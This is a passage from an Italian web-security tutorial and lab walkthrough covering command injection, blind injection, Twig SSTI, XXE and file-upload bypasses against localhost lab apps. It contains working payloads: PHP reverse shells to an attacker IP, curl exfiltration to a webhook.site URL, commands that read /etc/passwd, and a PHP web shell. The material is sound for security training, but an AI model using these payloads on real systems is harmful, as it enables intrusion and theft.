class=\"has-medium-font-size\"><strong>Introduction to Command Injection<\/strong><\/p>\n\n\n\n<p>Apriamo DevTools (F12 o CTRL + SHIFT + I) e digitiamo in Console:<\/p>\n\n\n\n<p><em><code>eval(\"1 + 1\");<\/code><\/em><\/p>\n\n\n\n<p>Risultato:<\/p>\n\n\n\n<p><em><code>2<\/code><\/em><\/p>\n\n\n\n<p>Abbiamo eseguito codice direttamente nella console, proprio come farebbe un\u2019applicazione vulnerabile.<\/p>\n\n\n\n<p>Esempio con input utente:<\/p>\n\n\n\n<p><em><code>let userInput = \"7 * 7\";<\/code><\/em><\/p>\n\n\n\n<p><em><code>eval(userInput);<\/code><\/em><\/p>\n\n\n\n<p>Risultato:<\/p>\n\n\n\n<p><em><code>49<\/code><\/em><\/p>\n\n\n\n<p>L&#8217;applicazione sta eseguendo direttamente i dati inseriti dall&#8217;utente, senza controlli!<\/p>\n\n\n\n<p>Terminale:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>php -a\n&gt; $user_input = \"whoami\";\n&gt; system($user_input);<\/em><\/code><\/pre>\n\n\n\n<p>Risultato atteso su Kali Linux:<\/p>\n\n\n\n<p><em><code>kali<\/code><\/em><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Command Injection Attacks<\/strong><\/p>\n\n\n\n<p>Verifica della vulnerabilit\u00e0, proviamo a inviare una richiesta di test:<\/p>\n\n\n\n<p><em><code>http:\/\/localhost<\/code><\/em><\/p>\n\n\n\n<p>risultato:<\/p>\n\n\n\n<p><em><code>Result: HTTP\/1.1 200 OK<\/code><\/em><\/p>\n\n\n\n<p>Inseriamo un comando separato da ;<\/p>\n\n\n\n<p><em><code>http:\/\/localhost; whoami<\/code><\/em><\/p>\n\n\n\n<p>Il server esegue whoami e restituisce il processo in esecuzione<\/p>\n\n\n\n<p>Se il comando viene filtrato, proviamo a interrompere l&#8217;output con #:<\/p>\n\n\n\n<p><em><code>http:\/\/localhost; whoami; #<\/code><\/em><\/p>\n\n\n\n<p>Proviamo con<\/p>\n\n\n\n<p><em><code>; whoami; #<\/code><\/em><\/p>\n\n\n\n<p>Controlliamo quali linguaggi di scripting sono disponibili:<\/p>\n\n\n\n<p><em><code>; which php; #<\/code><\/em><\/p>\n\n\n\n<p>Otteniamo<\/p>\n\n\n\n<p><em><code>Result: \/usr\/local\/bin\/php<\/code><\/em><\/p>\n\n\n\n<p><em><code>; which perl; #<\/code><\/em><\/p>\n\n\n\n<p><code>Result: \/usr\/bin\/perl<\/code><\/p>\n\n\n\n<p><em><code>; which python; #<\/code><\/em><\/p>\n\n\n\n<p><code>Nessun risultato<\/code><\/p>\n\n\n\n<p>Abbiamo trovato PHP, possiamo usare un payload per ottenere una reverse shell<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/Methodology%20and%20Resources\/Reverse%20Shell%20Cheatsheet.md\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/Methodology%20and%20Resources\/Reverse%20Shell%20Cheatsheet.md<\/a><\/p>\n\n\n\n<p>Usiamo un payload PHP per la reverse shell, dove ATTACKER_IP \u00e8 il nostro indirizzo IP, e 4444 \u00e8 la porta di ascolto:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code><em>php -r '$sock=fsockopen(\"ATTACKER_IP\",4444);exec(\"\/bin\/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'\n\nphp -r '$sock=fsockopen(\"192.168.203.128\",4444);exec(\"\/bin\/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'\n\n; php -r '$sock=fsockopen(\"192.168.203.128\",4444);exec(\"\/bin\/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'; #<\/em><\/code><\/code><\/pre>\n\n\n\n<p>Prima di eseguire il payload, apriamo un listener sulla nostra macchina:<\/p>\n\n\n\n<p><em><code>nc -lvnp 4444<\/code><\/em><\/p>\n\n\n\n<p>Se il server \u00e8 vulnerabile, riceveremo una connessione e potremo eseguire comandi remoti!<\/p>\n\n\n\n<p><em><code>whoami<\/code><\/em><\/p>\n\n\n\n<p><em><code>hostname<\/code><\/em><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Blind Command Injection<\/strong><\/p>\n\n\n\n<p><a href=\"https:\/\/book.hacktricks.wiki\/en\/pentesting-web\/command-injection.html\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/book.hacktricks.wiki\/en\/pentesting-web\/command-injection.html<\/a><\/p>\n\n\n\n<p>L&#8217;applicazione \u00e8 vulnerabile a Command Injection, ma non restituisce direttamente i risultati. Dobbiamo trovare altri modi per verificare che i comandi vengano eseguiti:<\/p>\n\n\n\n<p><em><code>http:\/\/localhost<\/code><\/em><\/p>\n\n\n\n<p>Se riceviamo una risposta dal server, significa che il nostro input \u00e8 accettato.<\/p>\n\n\n\n<p>Ora proviamo a inviare un target inesistente:<\/p>\n\n\n\n<p><code>http:\/\/nonexistent.target<\/code><\/p>\n\n\n\n<p><em><code>http:\/\/localhost:4561<\/code><\/em><\/p>\n\n\n\n<p>Se il server risponde con un messaggio di errore (\u201c<em>Something went wrong<\/em>\u201d), significa che il nostro input viene elaborato.<\/p>\n\n\n\n<p>Possibile vulnerabilit\u00e0 di Blind Command Injection!<\/p>\n\n\n\n<p>Proviamo ad aggiungere un comando che induce un ritardo (sleep 10):<\/p>\n\n\n\n<p><em><code>http:\/\/localhost &amp;&amp; sleep 10<\/code><\/em><\/p>\n\n\n\n<p><em><code>http:\/\/localhost? &amp;&amp; sleep 10<\/code><\/em><\/p>\n\n\n\n<p><em><code>http:\/\/localhost?q='sleep 10'<\/code><\/em> &nbsp; (potrebbe restituire \u201c<em>Something went wrong<\/em>\u201d)<\/p>\n\n\n\n<p>Se la pagina impiega 10 secondi per caricarsi, significa che il nostro comando \u00e8 stato eseguito. Abbiamo confermato la Blind Command Injection!<\/p>\n\n\n\n<p>Se non possiamo vedere l&#8217;output direttamente, possiamo inviare i risultati a un server esterno, proviamo con Webhook.site:<\/p>\n\n\n\n<p><code>https:\/\/webhook.site\/85bce319-bf86-40fb-9969-f29da340cd56\/?='whoami'<\/code><\/p>\n\n\n\n<p><em><code>http:\/\/localhost &amp;&amp; curl -X GET \"https:\/\/webhook.site\/85bce319-bf86-40fb-9969-f29da340cd56\/?data=$(whoami)\"<\/code><\/em><\/p>\n\n\n\n<p><code>https:\/\/webhook.site\/85bce319-bf86-40fb-9969-f29da340cd56\/?data=$(whoami)<\/code><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Command Injection Challenge Walkthrough<\/strong><\/p>\n\n\n\n<p>Inseriamo dati e notiamo che il nostro input viene inserito direttamente in un&#8217;operazione. Potremmo manipolare il codice per eseguire comandi arbitrari.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXf6CA8IJgIMc2FIkczfbRGDc-YDeYWA5I4bM4hP9ITf6EZd2LKv9mbR38ZYEkhfBTZaWEuDzp6coKSb0PkWQxSxPkcO6iV_bqg-vtYR2kKhI5UrZ84d0ssxq-TB3Aqiy6GSUrM9FA?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXc7Gvr0XIY-I2iMXtIJFtyPmd69qfPiZRIZF0KD3LG4EC4RK3vG-_1DmNNahmEmK06aInLXAYuFvZXmBghiPeODwSWGgNy6ymcD_VbnMVyj9shJwyUq-08-1KKqCxaaJ6lZcPuiMA?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Il secondo input potrebbe essere il punto di iniezione migliore. Testiamo la posizione Y per un attacco di Command Injection.<\/p>\n\n\n\n<p><em><code>789)^2))}';whoami;<\/code><\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXeOA4gffNSLRZP7695zzi4hWuTKb27E5vJpPrqUfHT-c-S7TUMcYhvkW_gIDr3ebcJRnr8ReZ8PmKYyGrGFvq3IGoXb1lbKVjISsQNn4y1d7n6eQyexHufih7uWxT2pBBn6DuXO?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Se non otteniamo output, il comando potrebbe generare un errore, bypassiamo gli errori con # (commento in bash)<\/p>\n\n\n\n<p><em><code>789)^2))}';whoami;<\/code><\/em><strong><code><em>#<\/em><\/code><\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXfLwd_phHEr-s2uBy4tpywQorOurus-jCQjJyYHEB-i1-ttqpjRTH1hFTqk_k-RE2V5ewJAiUJ0pFcZCeYSc-fZyA6G9txQA0xdP9WchUElUzyuIE_inS7HGMnciby6DCp88K5D?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Ora che possiamo eseguire comandi, proviamo ad ottenere una shell remota.<\/p>\n\n\n\n<p>Usiamo un payload PHP per la reverse shell:<\/p>\n\n\n\n<p><a href=\"https:\/\/swisskyrepo.github.io\/InternalAllTheThings\/cheatsheets\/shell-reverse-cheatsheet\/#python\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/swisskyrepo.github.io\/InternalAllTheThings\/cheatsheets\/shell-reverse-cheatsheet\/#python<\/a><\/p>\n\n\n\n<p>PHP<\/p>\n\n\n\n<p><em><code>php -r '$sock=fsockopen(\"ATTACKER_IP\",4444);exec(\"\/bin\/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");'<\/code><\/em><\/p>\n\n\n\n<p>Modifichiamo il payload per adattarlo al nostro input:<\/p>\n\n\n\n<p><em><code>789)^2))}';php -r '$sock=fsockopen(\"192.168.203.128\",4444);exec(\"\/bin\/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3\");';#<\/code><\/em><\/p>\n\n\n\n<p>Configuriamo un listener sulla nostra macchina per catturare la shell:<\/p>\n\n\n\n<p><em><code>nc -lvnp 4444<\/code><\/em><\/p>\n\n\n\n<p>Invio del payload e&#8230; siamo dentro!<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Exploiting Server-Side Template Injection (SSTI)<\/strong><\/p>\n\n\n\n<p>Inseriamo un messaggio casuale: il nostro messaggio viene visualizzato esattamente come lo abbiamo inserito.<\/p>\n\n\n\n<p>Testiamo anche XSS:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>&lt;script&gt;prompt(1)&lt;\/script&gt;\n&lt;script&gt;alert('XSS')&lt;\/script&gt;<\/em><\/code><\/pre>\n\n\n\n<p>Il codice JavaScript viene eseguito, confermando la presenza di Cross-Site Scripting (XSS).<\/p>\n\n\n\n<p>Identificare la presenza di SSTI con Burp Suite:<\/p>\n\n\n\n<p>Inviamo la richiesta POST all\u2019intruder e aggiungiamo il nostro testo per il payload.<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/Server%20Side%20Template%20Injection\/Intruder\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/Server%20Side%20Template%20Injection\/Intruder<\/a> -&gt; ssti.fuzz<\/p>\n\n\n\n<p>Alcune risposte hanno una dimensione del contenuto molto pi\u00f9 grande delle altre. Esaminiamo una di queste risposte pi\u00f9 lunghe.<\/p>\n\n\n\n<p>Vediamo nel tab Response un errore di sintassi di Twig: \u201c<em>Uncaught Twig Error: syntax error<\/em>\u201d -&gt; l\u2019applicazione usa Twig come motore di template!<\/p>\n\n\n\n<p>Confermare SSTI con payload di test, testiamo se possiamo eseguire codice nel motore di template:<\/p>\n\n\n\n<p><code>{{ 7 * 7 }}<\/code><\/p>\n\n\n\n<p><a href=\"https:\/\/hacktricks.boitatech.com.br\/pentesting-web\/ssti-server-side-template-injection#twig-php\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/hacktricks.boitatech.com.br\/pentesting-web\/ssti-server-side-template-injection#twig-php<\/a><\/p>\n\n\n\n<p>Se SSTI \u00e8 presente, dovremmo ottenere il valore 49 nella risposta.<\/p>\n\n\n\n<p>Verifichiamo se l\u2019esecuzione avviene lato server o client:<\/p>\n\n\n\n<p>Se la pagina restituisce il valore <code>{{ 7 * 7 }}<\/code> tale e quale \u2192 potrebbe essere client-side (CSTI).<\/p>\n\n\n\n<p>Se invece restituisce <code>49<\/code> \u2192 confermiamo che SSTI \u00e8 attiva!<\/p>\n\n\n\n<p>Ora proviamo a eseguire comandi di sistema con Twig:<\/p>\n\n\n\n<p><em><code>{{['id']|filter('system')}}<\/code><\/em><\/p>\n\n\n\n<p>Dovremmo ottenere l\u2019output del comando id, ad esempio:<\/p>\n\n\n\n<p><em><code>uid=33(www-data) gid=33(www-data) groups=33(www-data) Array<\/code><\/em><\/p>\n\n\n\n<p>Se il comando viene eseguito, significa che abbiamo RCE (Remote Code Execution), proviamo a leggere il file <code>\/etc\/passwd<\/code>:<\/p>\n\n\n\n<p><em><code>{{['cat\\x20\/etc\/passwd']|filter('system')}}<\/code><\/em><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Server-Side Template Injection (SSTI) Challenge Walkthrough<\/strong><\/p>\n\n\n\n<p>Proviamo lo stesso payload che abbiamo usato prima per Twig:<\/p>\n\n\n\n<p><code>{{ 7 * 7 }}<\/code><\/p>\n\n\n\n<p>Dopo aver generato la card dobbiamo editarla e quindi salvarla, cos\u00ec otteniamo il la richiesta POST in Burp Suite. Notiamo che non viene stampato il risultato ma solamente <code>{{ 7 * 7 }}<\/code>, invece se controlliamo il Response dell\u2019HTTPhistory come quello del Repeater, notiamo il risultato 49, questo sta a significare che qualcosa nasconde il risultato lato client ma non lato server, quindi l\u2019injection \u00e8 possibile.<\/p>\n\n\n\n<p>A volte, sembra che SSTI non funzioni perch\u00e9 il frontend nasconde il comportamento reale.<\/p>\n\n\n\n<p>Proviamo con:<\/p>\n\n\n\n<p><em><code>{{['id']|filter('system')}}<\/code><\/em><\/p>\n\n\n\n<p>e verifichiamo in Burp Suite che il comando ha funzionato, vediamo il nome utente del server (www-data, apache, ecc.), significa che abbiamo ottenuto RCE<\/p>\n\n\n\n<p>cos\u00ec come con:<\/p>\n\n\n\n<p><em><code>{{['cat\\x20\/etc\/passwd']|filter('system')}}<\/code><\/em><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>XML External Entity (XXE) Injection<\/strong><\/p>\n\n\n\n<p>Dove dobbiamo testare per XXE?<\/p>\n\n\n\n<p>Ovunque si possa caricare XML.<\/p>\n\n\n\n<p>Formato richiesto dal sistema (xxe-safe.xml):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;creds&gt;\n    &lt;user&gt;testuser&lt;\/user&gt;\n    &lt;password&gt;testpass&lt;\/password&gt;\n&lt;\/creds&gt;<\/em><\/code><\/pre>\n\n\n\n<p>Testiamo (xxe-safe_2.xml):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;creds&gt;\n    &lt;user&gt;&amp;amp;&lt;\/user&gt;\n    &lt;password&gt;testpass&lt;\/password&gt;\n&lt;\/creds&gt;<\/em><\/code><\/pre>\n\n\n\n<p>Il file viene accettato e caricato con successo.<\/p>\n\n\n\n<p>Ora testiamo se il parser XML accetta entit\u00e0 personalizzate (xxe-exploit.xml).<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><em>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;!DOCTYPE creds &#91;\n    &lt;!ENTITY xxe SYSTEM \"file:\/\/\/etc\/passwd\"&gt;\n]&gt;\n&lt;creds&gt;\n    &lt;user&gt;&amp;xxe;&lt;\/user&gt;\n    &lt;password&gt;testpass&lt;\/password&gt;\n&lt;\/creds&gt;<\/em><\/code><\/pre>\n\n\n\n<p>Cosa accade?<\/p>\n\n\n\n<p>Abbiamo dichiarato un&#8217;entit\u00e0 esterna chiamata <em><code>xxe<\/code><\/em>.<\/p>\n\n\n\n<p>Il parser XML sostituir\u00e0 <em>&amp;xxe;<\/em> con il contenuto del file <em><code>\/etc\/passwd<\/code><\/em>.<\/p>\n\n\n\n<p>Se vediamo il contenuto di <em><code>\/etc\/passwd<\/code><\/em>, l&#8217;app \u00e8 vulnerabile!<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/XXE%20Injection\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/XXE%20Injection<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/cheatsheetseries.owasp.org\/cheatsheets\/XML_External_Entity_Prevention_Cheat_Sheet.html\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/cheatsheetseries.owasp.org\/cheatsheets\/XML_External_Entity_Prevention_Cheat_Sheet.html<\/a><\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Insecure File Upload Client-Side Controls Bypass<\/strong><\/p>\n\n\n\n<p>Prima di tentare exploit avanzati, comprendere il funzionamento del caricamento dei file \u00e8 essenziale.<\/p>\n\n\n\n<p>Primo Test: accediamo alla funzione di upload e vediamo quali tipi di file sono accettati.<\/p>\n\n\n\n<p>Creiamo il file <em>test.txt<\/em> contenente il testo \u201c<em>test<\/em>\u201d e poi lo carichiamo:<\/p>\n\n\n\n<p><em><code>echo \u2018test\u2019 &gt; test.txt<\/code><\/em><\/p>\n\n\n\n<p>L&#8217;applicazione mostra un popup con il messaggio che accetta solo file JPG e PNG.<\/p>\n\n\n\n<p>Il controllo sembra avvenire lato client.<\/p>\n\n\n\n<p>Ora verifichiamo se il controllo avviene solo lato client DevTools (F12 o CTRL + SHIFT + I)<\/p>\n\n\n\n<p>Passiamo alla scheda Network e ricarichiamo la pagina, quindi carichiamo di nuovo <em>test.txt<\/em> e osserviamo le richieste HTTP: nessuna richiesta viene inviata al server. Il blocco avviene completamente lato client.<\/p>\n\n\n\n<p>Modificare la Richiesta con Burp Suite&nbsp;<\/p>\n\n\n\n<p>Se il controllo avviene sia lato client che server, possiamo manipolare la richiesta con Burp Suite.<\/p>\n\n\n\n<p>Intercettiamo la richiesta di upload.<\/p>\n\n\n\n<p>Carichiamo un&#8217;immagine valida (logo.png).<\/p>\n\n\n\n<p>Modifichiamo il nome del file e il contenuto nel Repeater:<\/p>\n\n\n\n<p><em><code>Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"<\/code><\/em><\/p>\n\n\n\n<p>ed eliminiamo tutta la parte in rosso, da <mark>PNG a &#8212;&#8211;<\/mark> e inseriamo un testo qualsiasi:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXcXb8vLzMJ8BJDRe-y6c2mq9wX5yEjBJQZ6qVaH6uPRrXP0F020A7e0CDcA1q1ZwddAo2B2xHIJ1xqbeQ8hIc9Htmz4rLt2wLvk7tF20VX6QjWQgiOCYar9quamn_p3KYt_KRkI?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Inviamo con SEND e verifichiamo nel RESPONSE che \u00e8 stato inviato con successo \u201c<em>HTTP\/1.1 200<\/em>\u201d, aggiorniamo la pagina web e notiamo che il file txt \u00e8 stato correttamente caricato.<\/p>\n\n\n\n<p>Caricamento di un Web Shell in PHP<\/p>\n\n\n\n<p>Ora proviamo a caricare un file PHP per ottenere esecuzione di codice.<\/p>\n\n\n\n<p>Inseriamo questo script PHP che esegue comandi remoti:<\/p>\n\n\n\n<p><em><code>&lt;?php system($_GET['cmd']); ?&gt;<\/code><\/em><\/p>\n\n\n\n<p>Modifichiamo il file come \u201c<em>cmd.php<\/em>\u201d,<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdVNsYarP0jWK0w_Q-gZDSWdXsL1H7wIWU_m35ivRdfKBlxGu5HLjhW4-tKsHROTrQnPNqW9TT4x-4tFHI6y6cy_dH_qiIr79l0Siy0QdYgGsdY6XVtHatK6dbGpMBng-QPvhjm?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>cos\u00ec:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXcmm1moj4xnF6CGNANzYsBkjivMbsTVVpR_QSN6_M0DO66QURlLLR0dez6PGTThSamTPV8CLKMzqD7jVDNendxCMv868gkiZXJ3bRc93sScT4Rt_FfobY9JRWJGOWd1U0rQzAcx2w?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Inviamo con SEND e verifichiamo nel RESPONSE che \u00e8 stato inviato con successo \u201c<em>HTTP\/1.1 200<\/em>\u201d, aggiorniamo la pagina web e notiamo che il file <em>cmd.php<\/em> \u00e8 stato correttamente caricato.<\/p>\n\n\n\n<p>Individuare la Directory di Upload<\/p>\n\n\n\n<p>Se non sappiamo dove viene caricato il file, possiamo usare fuzzing con ffuf o dirb.<\/p>\n\n\n\n<p>Eseguiamo una scansione delle directory note:<\/p>\n\n\n\n<p><em><code>ffuf -u http:\/\/localhost\/FUZZ -w \/usr\/share\/wordlists\/dirb\/common.txt<\/code><\/em><\/p>\n\n\n\n<p>raffiniamo:<\/p>\n\n\n\n<p><em><code>ffuf -u http:\/\/localhost\/labs\/FUZZ -w \/usr\/share\/wordlists\/dirb\/common.txt<\/code><\/em><\/p>\n\n\n\n<p>e troviamo la directory \u201c<em>uploads<\/em>\u201d. Cerchiamo di accerdervi sfruttando lo script PHP di prima:<\/p>\n\n\n\n<p><em><code>http:\/\/localhost\/labs\/uploads\/cmd.php<\/code><\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXcOGqR6ZHZ3FON_9t1eFfV4dDhCJZisBqj6oz4rq86nepvSzNOhXsSIbv4-KAsZBlt5qPO5gvyB4Z6LtpCi-PSlzqvqfvcskWTHee9ZIrriSp-pyRvSA-8OPquQ5bAzlSsrdtrD_g?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>non accetta un commando vuoto, correggiamo il tiro:<\/p>\n\n\n\n<p><em><code>http:\/\/localhost\/labs\/uploads\/cmd.php?cmd=whoami<\/code><\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXchsm-d0oEpbUmazi-77IKycyjdFkjzuZjZaMOs9AIprdL5UuGVEg2IVRVRANeegLSsn1TRzMSYfNwxe9ZzcqlGF6gYi3Mue6ODnYfEwCvHxGY2goBGPni-8Dq0MuN9umF_IYJrTg?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>e allora:<\/p>\n\n\n\n<p><em><code>http:\/\/localhost\/labs\/uploads\/cmd.php?cmd=cat \/etc\/passwd<\/code><\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXefwjpQOqSrBjG4ga1taFbQOkyS8Qlgc7y-VE-VCF5Fk1zPAXgrvpJUocsfvqgVBx2mB0AwPiuhLU3AVQCZcOMlH_Ez9XMDlbMlr8KtL9DXpNF6jWqrPGw89dJenuS8JDIBtIy5-g?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"has-medium-font-size\"><strong>Insecure File Upload Bypasses<\/strong><\/p>\n\n\n\n<p>Primo Test: accediamo alla funzione di upload e vediamo quali tipi di file sono accettati. Creiamo il file test.txt contenente il testo \u201c<em>test<\/em>\u201d e poi lo carichiamo:<\/p>\n\n\n\n<p><em><code>echo \u2018test\u2019 &gt; test.txt<\/code><\/em><\/p>\n\n\n\n<p>L&#8217;applicazione mostra un popup con il messaggio che accetta solo file JPG e PNG.<\/p>\n\n\n\n<p>Riproviamo con un file accettato ed invio la richiesta POST al Repeater e apportiamo le seguenti modifiche da cos\u00ec:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdzcCLWGULe9sIfbh5bJcY2aF6_bqPFJEYHivoAG8G1njZL02OUVxMpT867LeVRrNDyb087RVVm-Gz_eA85klTVF0DUm9dQ5Z1K0bVrb7F7mW_nEMF_kK37-DI4JHN0Ye5wyBqg?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>a cos\u00ec:<\/p>\n\n\n\n<p><em><code>&lt;?php system($_GET['cmd']); ?&gt;<\/code><\/em><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXd2R93agvuTKTthulD0T-q0mI_9Gz7CaeTZT4CF43K7W4GDzPPhYnvIUkbbwdjGUxkn48Jrk5HYRXsJxzzPalUhAQn9Sinhc4TIDA91NdASlEgxvtNTRDPzD-ZI735k7o-r48mKXw?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>SEND, ma nel Response leggiamo:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXc7O3wgbZ4leSlUUfIXMqp50nge1-mYA1tALjmEwMx8FFiPHJCnYAg0mJxxgjtqPHINL-PJsbsQ7yfKTyVyXPjpdAqv3e0Sn6mCJB_vv5SGlaprS1Es-a_yK630uAsKV8LDPEvkGA?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>Allora torniamo indietro nel Request del Repeater e modifichiamo cos\u00ec:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXdyTxB7-9VOa9_KjwPvEChyHQRC6timN8vQYNVJNgOKRsFIALOeZasyfZxq6bM89fsdGxdveeSvyOi5GovRfO6TguM_IivY8XNsMR50_4XtpNq7ez_sgIYoi_MdL1nijTrfuTdxrw?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>SEND e questa volta il file viene caricato, aggiorniamo la pagina e verifichiamo per conferma.<\/p>\n\n\n\n<p>Per\u00f2 se cerchiamo di eseguire lo script PHP all\u2019interno del file caricato otteniamo un errore:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXfzUK2tuTDonXmVsKLjH0aBoeRWJFepx-7ePnVZ7nA-mb-CW_PmVblw1IeEUQDx0LI_ezNH2I8j_ircv8ym8ewvSfKe4v85WXywTKP1uixxOfoMCZbuvK3lNcBDri8qvCO162GcdQ?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>dovuto ad una errata interpretazione del tipo di file mediante i magic bytes, quindi dobbiamo manipolare un po\u2019 la richiesta, ovvero eliminiamo un po\u2019 del codice in rosso (cambiamo il nome del file da caricare, ovviamente):<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXcUBYt6wr-NkZvm4tSEdgICLrvjZqQl2DeRX7dyDt6IOenS_vhEcZi6Ub8CH9hBQyWh4LG4tN6ONt-h2jRZhiEJKVQsOsuCN0UTSIm3EB8WJTq9hjH9o9lBsT7LLHqnZ33x9tpcsA?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<p>SEND, Response corretto e questa volta otteniamo:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXeRttli0igP2L5DmtBxYaDiRDGZTL7HhoeEVksduvjfm9v8txD0upnfdfuYcH0jPNdC3R1BD9_ferCNUQTNl9jXiUiaa283nz9w6GA06pxebWgSGKle6e7nZy45VJe-jTcX2HFa?key=AJ7ssV3wsusIqbWMhSHqqx7N\" alt=\"\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code><em>http:\/\/localhost\/labs\/uploads\/logo6.php?cmd=hostname\nhttp:\/\/localhost\/labs\/uploads\/logo6.php?cmd=ls -lah\nhttp:\/\/localhost\/labs\/uploads\/logo6.php?cmd=cat \/etc\/passwd<\/em><\/code><\/pre>\n\n\n\n<p>Suggerimenti<\/p>\n\n\n\n<p>Altri Metodi per Eseguire File PHP<\/p>\n\n\n\n<p>Se il server blocca .php, possiamo 